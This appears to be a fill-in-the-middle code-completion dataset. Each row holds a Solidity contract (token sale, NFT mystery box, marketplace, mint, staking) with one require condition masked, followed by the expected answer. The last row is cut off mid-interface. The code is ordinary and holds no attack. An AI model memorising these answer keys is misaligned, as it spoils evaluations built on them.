import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol';
interface IBatchPlanner {
struct Plan {
address recipient;
uint256 amount;
uint256 start;
uint256 cliff;
uint256 rate;
}
function batchLockingPlans(
address locker,
address token,
uint256 totalAmount,
Plan[] calldata plans,
uint256 period,
uint8 mintType
) external;
}
contract JANETokenSale is ReentrancyGuard, Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
IERC20 public janeToken;
AggregatorV3Interface public priceFeed;
address public janeEscrow;
uint256 public janePerUSD;
address public hedgeyBatchPlanner;
address public hedgeyVotingTokenLockUpPlan;
uint256 public constant APR_30_2024 = 1714460400; // unix timestamp for apr 30, 2024 UTC
constructor(
address _janeToken,
address _janeEscrow,
address _priceFeed,
uint256 _janePerUSD,
address _owner,
address _hedgeyBatchPlanner,
address _hedgeyVotingTokenLockUpPlan
) {
}
function getCurrentEthUsdPrice() public view returns (int) {
}
function buyTokens(address beneficiary) external payable nonReentrant {
require(
beneficiary != address(0),
'Beneficiary address should be valid'
);
require(msg.value > 0, 'Ether sent should be greater than 0');
int currentPrice = getCurrentEthUsdPrice();
uint256 janeAmount = janePerUSD
/* .mul(10 ** 18) */ // technically this is the math, but it cancels due to the division at the bottom
.mul(uint256(currentPrice))
.mul(msg.value)
.div(10 ** 8); // this should explicitly be above the prvious line to show steps, but was moved down to improve accuracy
/* .div(10 ** 18); */
require(<FILL_ME>)
janeToken.safeTransferFrom(janeEscrow, address(this), janeAmount);
require(block.timestamp < APR_30_2024, 'Lock up period is over');
uint256 lockUpPeriod = APR_30_2024 - block.timestamp;
// Lock the tokens using BatchPlanner's batchLockingPlans function
IBatchPlanner.Plan[] memory plans = new IBatchPlanner.Plan[](1);
plans[0] = IBatchPlanner.Plan({
recipient: beneficiary,
amount: janeAmount,
start: block.timestamp,
cliff: 0, // No cliff, can be adjusted
rate: janeAmount.div(lockUpPeriod)
});
SafeERC20.safeIncreaseAllowance(
janeToken,
hedgeyBatchPlanner,
janeAmount
);
IBatchPlanner(hedgeyBatchPlanner).batchLockingPlans(
hedgeyVotingTokenLockUpPlan,
address(janeToken),
janeAmount,
plans,
1, // lock-up period is 1 second at which time plan.rate tokens are dispensed, repeating until exhausted
5 // mintType, investor lock up is mint type 5
);
// Transfer Ether to the owner
payable(owner()).transfer(msg.value);
}
// Called when receiving Ether
receive() external payable {
}
// Fallback function
fallback() external payable {
}
function setJanePerUSD(uint256 newJanePerUSD) external onlyOwner {
}
event JanePerUSDChanged(uint256 newJanePerUSD);
}
| janeToken.allowance(janeEscrow,address(this))>=janeAmount,'Token allowance is insufficient' | 88,792 | janeToken.allowance(janeEscrow,address(this))>=janeAmount |
"Can only claim one mystery box per account" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "openzeppelin-contracts/contracts/utils/Strings.sol";
import "openzeppelin-contracts/contracts/access/Ownable2Step.sol";
import "ERC721A/ERC721A.sol";
import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import {MessageHashUtils} from "@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
/**
* @title TWLMysteryBox
*/
contract TWLMysteryBox is Ownable2Step, ERC721A("TWL Mystery Box", "TWLMB") {
using Strings for uint256;
using ECDSA for bytes32;
using MessageHashUtils for bytes32;
// A record of states for signing/validating signatures in the contract.
mapping(address => bool) public hasClaimed;
// A record of nonces for signing/validating signatures in the contract.
mapping(address => uint256) private nonces;
// Keeps track of the number of tokens minted
uint256 public currentTokenId = 1;
// An address for authorizing claims.
address public trustedSigner;
// An address for receiving funds.
address payable public fundsReceiver;
// If true, then the NFTs can only be transferred to/from the zero address.
bool public soulbound = true;
// If true, then the contract is paused.
bool public paused;
// Events
event MysteryBoxClaimed(
address indexed recipient,
uint256 tier,
uint256 startTokenId,
uint256 endTokenId
);
// Custom errors to provide clarity during failure conditions
error InvalidTokenId();
// The base URI for the token metadata.
string private _contractURI = "https://theworldslargest.com/api/nft/sperm-game/metadata";
// The base URI for the token metadata.
string private _nftURI = "https://theworldslargest.com/api/nft/sperm-game/";
constructor() Ownable(msg.sender) {
}
function claimMysteryBox(uint256 userNonce, bytes memory signature, uint256 tier) public payable {
// Check if the contract is paused. If so, revert.
require(!paused, "Contract is paused");
// Check if the user sent enough ETH. If not, revert.
require(msg.value == 0.003 ether, "Invalid ETH amount");
// Check if user is eligible to claim. If not, revert.
require(<FILL_ME>)
// Check if signature is valid. If not, revert.
require(isValidSignature(msg.sender, userNonce, tier, signature), "Invalid signature");
// Increment the user's nonce.
nonces[msg.sender]++;
// Mark the user as having claimed.
hasClaimed[msg.sender] = true;
// Mint 7 NFTs.
_mint(msg.sender, 7);
// Assign initial metadata
emit MysteryBoxClaimed(
msg.sender,
// tier, if the user has a TWL Trailer NFT, then they get a rarity boost.
tier,
// startTokenId, the first token ID of the 7 NFTs that were minted.
currentTokenId,
// endTokenId, the last token ID of the 7 NFTs that were minted.
currentTokenId + 6
);
// Increment the currentTokenId by 7.
currentTokenId += 7;
// Transfer
(bool success,) = fundsReceiver.call{value: msg.value, gas: gasleft()}("");
require(success, "recipient reverted");
}
function setPaused(bool _paused) external onlyOwner {
}
function setSoulbound(bool _soulbound) public onlyOwner {
}
function setTrustedSigner(address _trustedSigner) public onlyOwner {
}
function setFundsReceiver(address payable _fundsReceiver) public onlyOwner {
}
// Make the NFTs soulbound; if soulbound is true, then the NFTs can only be transferred to/from the zero address.
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual override {
}
/**
* @notice Allows the owner to set a new base URI.
* @param newBaseURI The new base URI.
*/
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function baseURI() external view returns (string memory) {
}
function _baseURI() internal override view returns (string memory) {
}
function setContractURI(string memory newContractURI) external onlyOwner {
}
function contractURI() public view returns (string memory) {
}
function _startTokenId() internal override view virtual returns (uint256) {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
// Allows the owner to withdraw funds from the contract.
function withdraw() public onlyOwner {
}
function isEligibleToClaim(address user) public view returns (bool) {
}
function isValidSignature(address user, uint256 userNonce, uint256 tier, bytes memory signature) public view returns (bool) {
}
// Allows the contract to receive ether.
receive() external payable {}
}
| isEligibleToClaim(msg.sender),"Can only claim one mystery box per account" | 88,831 | isEligibleToClaim(msg.sender) |
"Invalid signature" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "openzeppelin-contracts/contracts/utils/Strings.sol";
import "openzeppelin-contracts/contracts/access/Ownable2Step.sol";
import "ERC721A/ERC721A.sol";
import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import {MessageHashUtils} from "@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
/**
* @title TWLMysteryBox
*/
contract TWLMysteryBox is Ownable2Step, ERC721A("TWL Mystery Box", "TWLMB") {
using Strings for uint256;
using ECDSA for bytes32;
using MessageHashUtils for bytes32;
// A record of states for signing/validating signatures in the contract.
mapping(address => bool) public hasClaimed;
// A record of nonces for signing/validating signatures in the contract.
mapping(address => uint256) private nonces;
// Keeps track of the number of tokens minted
uint256 public currentTokenId = 1;
// An address for authorizing claims.
address public trustedSigner;
// An address for receiving funds.
address payable public fundsReceiver;
// If true, then the NFTs can only be transferred to/from the zero address.
bool public soulbound = true;
// If true, then the contract is paused.
bool public paused;
// Events
event MysteryBoxClaimed(
address indexed recipient,
uint256 tier,
uint256 startTokenId,
uint256 endTokenId
);
// Custom errors to provide clarity during failure conditions
error InvalidTokenId();
// The base URI for the token metadata.
string private _contractURI = "https://theworldslargest.com/api/nft/sperm-game/metadata";
// The base URI for the token metadata.
string private _nftURI = "https://theworldslargest.com/api/nft/sperm-game/";
constructor() Ownable(msg.sender) {
}
function claimMysteryBox(uint256 userNonce, bytes memory signature, uint256 tier) public payable {
// Check if the contract is paused. If so, revert.
require(!paused, "Contract is paused");
// Check if the user sent enough ETH. If not, revert.
require(msg.value == 0.003 ether, "Invalid ETH amount");
// Check if user is eligible to claim. If not, revert.
require(isEligibleToClaim(msg.sender), "Can only claim one mystery box per account");
// Check if signature is valid. If not, revert.
require(<FILL_ME>)
// Increment the user's nonce.
nonces[msg.sender]++;
// Mark the user as having claimed.
hasClaimed[msg.sender] = true;
// Mint 7 NFTs.
_mint(msg.sender, 7);
// Assign initial metadata
emit MysteryBoxClaimed(
msg.sender,
// tier, if the user has a TWL Trailer NFT, then they get a rarity boost.
tier,
// startTokenId, the first token ID of the 7 NFTs that were minted.
currentTokenId,
// endTokenId, the last token ID of the 7 NFTs that were minted.
currentTokenId + 6
);
// Increment the currentTokenId by 7.
currentTokenId += 7;
// Transfer
(bool success,) = fundsReceiver.call{value: msg.value, gas: gasleft()}("");
require(success, "recipient reverted");
}
function setPaused(bool _paused) external onlyOwner {
}
function setSoulbound(bool _soulbound) public onlyOwner {
}
function setTrustedSigner(address _trustedSigner) public onlyOwner {
}
function setFundsReceiver(address payable _fundsReceiver) public onlyOwner {
}
// Make the NFTs soulbound; if soulbound is true, then the NFTs can only be transferred to/from the zero address.
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual override {
}
/**
* @notice Allows the owner to set a new base URI.
* @param newBaseURI The new base URI.
*/
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function baseURI() external view returns (string memory) {
}
function _baseURI() internal override view returns (string memory) {
}
function setContractURI(string memory newContractURI) external onlyOwner {
}
function contractURI() public view returns (string memory) {
}
function _startTokenId() internal override view virtual returns (uint256) {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
// Allows the owner to withdraw funds from the contract.
function withdraw() public onlyOwner {
}
function isEligibleToClaim(address user) public view returns (bool) {
}
function isValidSignature(address user, uint256 userNonce, uint256 tier, bytes memory signature) public view returns (bool) {
}
// Allows the contract to receive ether.
receive() external payable {}
}
| isValidSignature(msg.sender,userNonce,tier,signature),"Invalid signature" | 88,831 | isValidSignature(msg.sender,userNonce,tier,signature) |
"The address must be the NFT contract address." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract NFTMarketplace is ReentrancyGuard, Ownable {
using Counters for Counters.Counter;
using ERC165Checker for address;
using Address for address;
Counters.Counter private _itemIds;
Counters.Counter private _itemsSold;
struct FeeItem {
address payable feeAccount; // the account that recieves fees
uint256 feePercent; // the fee percentage on sales 1: 100, 50: 5000, 100: 10000
uint256 marketFeePercent; // the fee percentage for market 1: 100, 50: 5000, 100: 10000
}
mapping(address => FeeItem) public _feeData;
address private deadAddress = 0x0000000000000000000000000000000000000000;
enum ListingStatus {
Active,
Sold,
Cancelled
}
struct MarketItem {
ListingStatus status;
uint256 itemId;
address nftContract;
uint256 tokenId;
address payable seller;
address payable owner;
uint256 price;
bool sold;
}
mapping(uint256 => MarketItem) private idToMarketItem;
event MarketItemCreated(
uint256 indexed itemId,
address indexed nftContract,
uint256 indexed tokenId,
address seller,
address owner,
uint256 price,
bool sold
);
event MarketItemSold(
uint256 indexed itemId,
uint256 indexed tokenId,
address seller,
address owner,
uint256 price
);
event MarketItemCancelled(
uint256 indexed itemId,
uint256 indexed tokenId,
address seller,
address owner,
uint256 price
);
function createMarketItem(
address nftContract,
uint256 tokenId,
uint256 price
) public nonReentrant {
require(<FILL_ME>)
require(price > 0, "Price must be greater than 0.");
_itemIds.increment();
uint256 itemId = _itemIds.current();
idToMarketItem[itemId] = MarketItem(
ListingStatus.Active,
itemId,
nftContract,
tokenId,
payable(msg.sender),
payable(msg.sender),
price,
false
);
require(
idToMarketItem[itemId].price > 0,
"Created market item's price must be greater than 0."
);
IERC721(nftContract).transferFrom(
msg.sender,
address(this),
tokenId
);
emit MarketItemCreated(
itemId,
nftContract,
tokenId,
msg.sender,
msg.sender,
price,
false
);
}
function createMarketSale(address nftContract, uint256 itemId)
public
payable
nonReentrant
{
}
function createMultiMarketSale(address[] calldata nftContracts, uint256[] calldata itemIds)
public
payable
{
}
function fetchMarketItems(address _sellerAddress, uint256 _status) public view returns (MarketItem[] memory) {
}
function cancelSale(uint256 _itemId) public {
}
//only owner
function setFeeInfo(
address nftContract,
uint256 _marketFeePercent,
uint256 _feePercent,
address _feeAccount
) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| Address.isContract(nftContract),"The address must be the NFT contract address." | 88,933 | Address.isContract(nftContract) |
"Created market item's price must be greater than 0." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract NFTMarketplace is ReentrancyGuard, Ownable {
using Counters for Counters.Counter;
using ERC165Checker for address;
using Address for address;
Counters.Counter private _itemIds;
Counters.Counter private _itemsSold;
struct FeeItem {
address payable feeAccount; // the account that recieves fees
uint256 feePercent; // the fee percentage on sales 1: 100, 50: 5000, 100: 10000
uint256 marketFeePercent; // the fee percentage for market 1: 100, 50: 5000, 100: 10000
}
mapping(address => FeeItem) public _feeData;
address private deadAddress = 0x0000000000000000000000000000000000000000;
enum ListingStatus {
Active,
Sold,
Cancelled
}
struct MarketItem {
ListingStatus status;
uint256 itemId;
address nftContract;
uint256 tokenId;
address payable seller;
address payable owner;
uint256 price;
bool sold;
}
mapping(uint256 => MarketItem) private idToMarketItem;
event MarketItemCreated(
uint256 indexed itemId,
address indexed nftContract,
uint256 indexed tokenId,
address seller,
address owner,
uint256 price,
bool sold
);
event MarketItemSold(
uint256 indexed itemId,
uint256 indexed tokenId,
address seller,
address owner,
uint256 price
);
event MarketItemCancelled(
uint256 indexed itemId,
uint256 indexed tokenId,
address seller,
address owner,
uint256 price
);
function createMarketItem(
address nftContract,
uint256 tokenId,
uint256 price
) public nonReentrant {
require(
Address.isContract(nftContract),
"The address must be the NFT contract address."
);
require(price > 0, "Price must be greater than 0.");
_itemIds.increment();
uint256 itemId = _itemIds.current();
idToMarketItem[itemId] = MarketItem(
ListingStatus.Active,
itemId,
nftContract,
tokenId,
payable(msg.sender),
payable(msg.sender),
price,
false
);
require(<FILL_ME>)
IERC721(nftContract).transferFrom(
msg.sender,
address(this),
tokenId
);
emit MarketItemCreated(
itemId,
nftContract,
tokenId,
msg.sender,
msg.sender,
price,
false
);
}
function createMarketSale(address nftContract, uint256 itemId)
public
payable
nonReentrant
{
}
function createMultiMarketSale(address[] calldata nftContracts, uint256[] calldata itemIds)
public
payable
{
}
function fetchMarketItems(address _sellerAddress, uint256 _status) public view returns (MarketItem[] memory) {
}
function cancelSale(uint256 _itemId) public {
}
//only owner
function setFeeInfo(
address nftContract,
uint256 _marketFeePercent,
uint256 _feePercent,
address _feeAccount
) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| idToMarketItem[itemId].price>0,"Created market item's price must be greater than 0." | 88,933 | idToMarketItem[itemId].price>0 |
"This Sale has alredy finnished" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract NFTMarketplace is ReentrancyGuard, Ownable {
using Counters for Counters.Counter;
using ERC165Checker for address;
using Address for address;
Counters.Counter private _itemIds;
Counters.Counter private _itemsSold;
struct FeeItem {
address payable feeAccount; // the account that recieves fees
uint256 feePercent; // the fee percentage on sales 1: 100, 50: 5000, 100: 10000
uint256 marketFeePercent; // the fee percentage for market 1: 100, 50: 5000, 100: 10000
}
mapping(address => FeeItem) public _feeData;
address private deadAddress = 0x0000000000000000000000000000000000000000;
enum ListingStatus {
Active,
Sold,
Cancelled
}
struct MarketItem {
ListingStatus status;
uint256 itemId;
address nftContract;
uint256 tokenId;
address payable seller;
address payable owner;
uint256 price;
bool sold;
}
mapping(uint256 => MarketItem) private idToMarketItem;
event MarketItemCreated(
uint256 indexed itemId,
address indexed nftContract,
uint256 indexed tokenId,
address seller,
address owner,
uint256 price,
bool sold
);
event MarketItemSold(
uint256 indexed itemId,
uint256 indexed tokenId,
address seller,
address owner,
uint256 price
);
event MarketItemCancelled(
uint256 indexed itemId,
uint256 indexed tokenId,
address seller,
address owner,
uint256 price
);
function createMarketItem(
address nftContract,
uint256 tokenId,
uint256 price
) public nonReentrant {
}
function createMarketSale(address nftContract, uint256 itemId)
public
payable
nonReentrant
{
require(
Address.isContract(nftContract),
"The address must be the NFT contract address."
);
uint256 price = idToMarketItem[itemId].price;
uint256 tokenId = idToMarketItem[itemId].tokenId;
MarketItem storage item = idToMarketItem[itemId];
address seller = idToMarketItem[itemId].seller;
require(
msg.value == price,
"Please submit the asking price in order to complete the purchase"
);
require(<FILL_ME>)
require(item.status == ListingStatus.Active, "Listing is not active");
uint256 feeAmount = (_feeData[nftContract].feePercent * price) / 10000;
uint256 marketFee = (_feeData[nftContract].marketFeePercent * price) /
10000;
// transfer the (item price - royalty amount - fee amount) to the seller
(bool successSeller, ) = payable(item.seller).call{
value: price - feeAmount - marketFee
}("");
require(
successSeller,
"Transfer to seller could not be processed. Please check your address and balance."
);
(bool successFee, ) = payable(_feeData[nftContract].feeAccount).call{
value: feeAmount
}("");
require(
successFee,
"Transfer to royalty address could not be processed. Please check your address and balance."
);
IERC721(nftContract).transferFrom(address(this), msg.sender, tokenId);
emit MarketItemSold(itemId, tokenId, seller, msg.sender, price);
_itemsSold.increment();
item.status = ListingStatus.Sold;
item.owner = payable(msg.sender);
item.sold = true;
}
function createMultiMarketSale(address[] calldata nftContracts, uint256[] calldata itemIds)
public
payable
{
}
function fetchMarketItems(address _sellerAddress, uint256 _status) public view returns (MarketItem[] memory) {
}
function cancelSale(uint256 _itemId) public {
}
//only owner
function setFeeInfo(
address nftContract,
uint256 _marketFeePercent,
uint256 _feePercent,
address _feeAccount
) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| !item.sold,"This Sale has alredy finnished" | 88,933 | !item.sold |
"The sum of fees already exceeded. Please add the reasonable values for them." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract NFTMarketplace is ReentrancyGuard, Ownable {
using Counters for Counters.Counter;
using ERC165Checker for address;
using Address for address;
Counters.Counter private _itemIds;
Counters.Counter private _itemsSold;
struct FeeItem {
address payable feeAccount; // the account that recieves fees
uint256 feePercent; // the fee percentage on sales 1: 100, 50: 5000, 100: 10000
uint256 marketFeePercent; // the fee percentage for market 1: 100, 50: 5000, 100: 10000
}
mapping(address => FeeItem) public _feeData;
address private deadAddress = 0x0000000000000000000000000000000000000000;
enum ListingStatus {
Active,
Sold,
Cancelled
}
struct MarketItem {
ListingStatus status;
uint256 itemId;
address nftContract;
uint256 tokenId;
address payable seller;
address payable owner;
uint256 price;
bool sold;
}
mapping(uint256 => MarketItem) private idToMarketItem;
event MarketItemCreated(
uint256 indexed itemId,
address indexed nftContract,
uint256 indexed tokenId,
address seller,
address owner,
uint256 price,
bool sold
);
event MarketItemSold(
uint256 indexed itemId,
uint256 indexed tokenId,
address seller,
address owner,
uint256 price
);
event MarketItemCancelled(
uint256 indexed itemId,
uint256 indexed tokenId,
address seller,
address owner,
uint256 price
);
function createMarketItem(
address nftContract,
uint256 tokenId,
uint256 price
) public nonReentrant {
}
function createMarketSale(address nftContract, uint256 itemId)
public
payable
nonReentrant
{
}
function createMultiMarketSale(address[] calldata nftContracts, uint256[] calldata itemIds)
public
payable
{
}
function fetchMarketItems(address _sellerAddress, uint256 _status) public view returns (MarketItem[] memory) {
}
function cancelSale(uint256 _itemId) public {
}
//only owner
function setFeeInfo(
address nftContract,
uint256 _marketFeePercent,
uint256 _feePercent,
address _feeAccount
) public onlyOwner {
require(
Address.isContract(nftContract),
"The address must be the NFT contract address."
);
require(<FILL_ME>)
_feeData[nftContract].marketFeePercent = _marketFeePercent;
_feeData[nftContract].feePercent = _feePercent;
_feeData[nftContract].feeAccount = payable(_feeAccount);
}
function withdraw() public payable onlyOwner {
}
}
| _feePercent+_marketFeePercent<=10000,"The sum of fees already exceeded. Please add the reasonable values for them." | 88,933 | _feePercent+_marketFeePercent<=10000 |
'Max mint per wallet exceeded!' | // SPDX-License-Identifier: Unlicensed
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Arrays.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import 'erc721a/contracts/extensions/ERC721AQueryable.sol';
import 'erc721a/contracts/ERC721A.sol';
pragma solidity >=0.8.13 <0.9.0;
contract AIAwaifu is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
// ================== Variables Start =======================
string public uri = "ipfs://bafybeihsbloazl6p33glptykfgjdnbninlfwfbrknvgxfcplej73d6kixq/";
string public uriSuffix = ".json";
string public hiddenMetadataUri = "Instant Reveal";
uint256 public cost1 = 0.002 ether;
uint256 public cost2 = 0.002 ether;
uint256 public supplyLimit = 130;
uint256 public maxMintAmountPerTx = 5;
uint256 public maxLimitPerWallet = 5;
bool public sale = false;
bool public revealed = false;
// ================== Variables End =======================
// ================== Constructor Start =======================
constructor(
string memory _uri
) ERC721A("AI Awaifu", "AW") {
}
// ================== Constructor End =======================
// ================== Mint Functions Start =======================
function UpdateCost(uint256 _supply) internal view returns (uint256 _cost) {
}
function Mint(uint256 _mintAmount) public payable {
//Dynamic Price
uint256 supply = totalSupply();
// Normal requirements
require(sale, 'The Sale is paused!');
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, 'Invalid mint amount!');
require(totalSupply() + _mintAmount <= supplyLimit, 'Max supply exceeded!');
require(<FILL_ME>)
require(msg.value >= UpdateCost(supply) * _mintAmount, 'Insufficient funds!');
// Mint
_safeMint(_msgSender(), _mintAmount);
}
function Airdrop(uint256 _mintAmount, address _receiver) public onlyOwner {
}
// ================== Mint Functions End =======================
// ================== Set Functions Start =======================
// reveal
function setRevealed(bool _state) public onlyOwner {
}
// uri
function seturi(string memory _uri) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
// sales toggle
function setSaleStatus(bool _sale) public onlyOwner {
}
// max per tx
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
// pax per wallet
function setmaxLimitPerWallet(uint256 _maxLimitPerWallet) public onlyOwner {
}
// price
function setcost1(uint256 _cost1) public onlyOwner {
}
function setcost2(uint256 _cost2) public onlyOwner {
}
// supply limit
function setsupplyLimit(uint256 _supplyLimit) public onlyOwner {
}
// ================== Set Functions End =======================
// ================== Withdraw Function Start =======================
function withdraw() public onlyOwner nonReentrant {
}
// ================== Withdraw Function End=======================
// ================== Read Functions Start =======================
function price() public view returns (uint256 _price){
}
function tokensOfOwner(address owner) external view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
// ================== Read Functions End =======================
}
| balanceOf(msg.sender)+_mintAmount<=maxLimitPerWallet,'Max mint per wallet exceeded!' | 88,982 | balanceOf(msg.sender)+_mintAmount<=maxLimitPerWallet |
"Error: No Nft Staked!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721Holder is IERC721Receiver {
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC721 {
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
function totalSupply() external view returns (uint);
}
error CantUnstakeNow();
error NotFound();
contract SOSADStaking is Ownable, ERC721Holder {
IERC721 public NFT = IERC721(0x5AD0955256b62999b9231b4Dc6E99C0E6c981fFF); //original one
IERC20 public Token = IERC20(0xF424701D8FaD901948BFC97B316abDF7145E620C);
uint256 public perSecReward = 138888; //0.138888 dec 6
uint256 public minHolding;
uint256 public minStakeDuration = 604800; //7 days
struct poolToken {
uint256 _tokenId;
uint256 _startTime;
uint256 _stakeDuration;
}
struct pool {
address _user;
uint256 _NftCount;
poolToken[] _Ledger;
}
mapping(address => pool) public _Stakers;
uint256 public totalStakers;
uint256 public rewardDistributed;
bool public paused;
constructor() {
}
function stake(uint256 tokenId,uint256 _duration) public {
}
function unstakeAndClaim(uint256 tokenId) public {
require(!paused,"Error: Staking is Currently Paused Now!!");
address account = msg.sender;
uint length = _Stakers[account]._Ledger.length;
uint _index = getIndex(account,tokenId,length);
poolToken memory arr = _Stakers[account]._Ledger[_index];
require(<FILL_ME>)
if(block.timestamp <= arr._startTime + arr._stakeDuration) {
revert CantUnstakeNow();
}
uint sec = block.timestamp - arr._startTime;
uint reward = perSecReward * sec;
_Stakers[account]._Ledger[_index] = _Stakers[account]._Ledger[length - 1];
_Stakers[account]._Ledger.pop();
NFT.safeTransferFrom(address(this),account, tokenId);
Token.transfer(account, reward);
rewardDistributed += reward;
_Stakers[account]._NftCount--;
}
function terminate(uint256 tokenId) public {
}
function getTokenInfo(address account,uint _pid) public view returns (poolToken memory, uint _eReward){
}
function getIndex(address _account,uint256 _tokenId,uint256 _length) public view returns (uint _i){
}
function getTime() external view returns (uint256) {
}
function setNft(address _adr) external onlyOwner {
}
function setToken(address _adr) external onlyOwner {
}
function setReward(uint _newReward) external onlyOwner {
}
function setMinHolding(uint _newSet) external onlyOwner {
}
function setPauser(bool _status) external onlyOwner {
}
function setMinDuration(uint _newDuration) external onlyOwner {
}
function rescueFunds() external onlyOwner {
}
function rescueToken(address _token) external onlyOwner {
}
function rescueNft(address _token,uint256 _id) external onlyOwner {
}
receive() external payable {}
}
| _Stakers[account]._NftCount>0,"Error: No Nft Staked!" | 89,080 | _Stakers[account]._NftCount>0 |
"Controllerable: Not Controller!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
abstract contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
constructor() {
}
modifier onlyOwner {
}
function transferOwnership(address new_) external onlyOwner {
}
}
abstract contract Controllerable is Ownable {
event ControllerSet(string indexed controllerType, bytes32 indexed controllerSlot,
address indexed controller, bool status);
mapping(bytes32 => mapping(address => bool)) internal __controllers;
function isController(string memory type_, address controller_) public
view returns (bool) {
}
modifier onlyController(string memory type_) {
require(<FILL_ME>)
_;
}
function setController(string memory type_, address controller_, bool bool_)
public onlyOwner {
}
}
interface iCS {
// Structs of Characters
struct Character {
uint8 race_;
uint8 renderType_;
uint16 transponderId_;
uint16 spaceCapsuleId_;
uint8 augments_;
uint16 basePoints_;
uint16 totalEquipmentBonus_;
}
struct Stats {
uint8 strength_;
uint8 agility_;
uint8 constitution_;
uint8 intelligence_;
uint8 spirit_;
}
struct Equipment {
uint8 weaponUpgrades_;
uint8 chestUpgrades_;
uint8 headUpgrades_;
uint8 legsUpgrades_;
uint8 vehicleUpgrades_;
uint8 armsUpgrades_;
uint8 artifactUpgrades_;
uint8 ringUpgrades_;
}
// View Functions
function names(uint256 tokenId_) external view returns (string memory);
function bios(uint256 tokenId_) external view returns (string memory);
function characters(uint256 tokenId_) external view returns (Character memory);
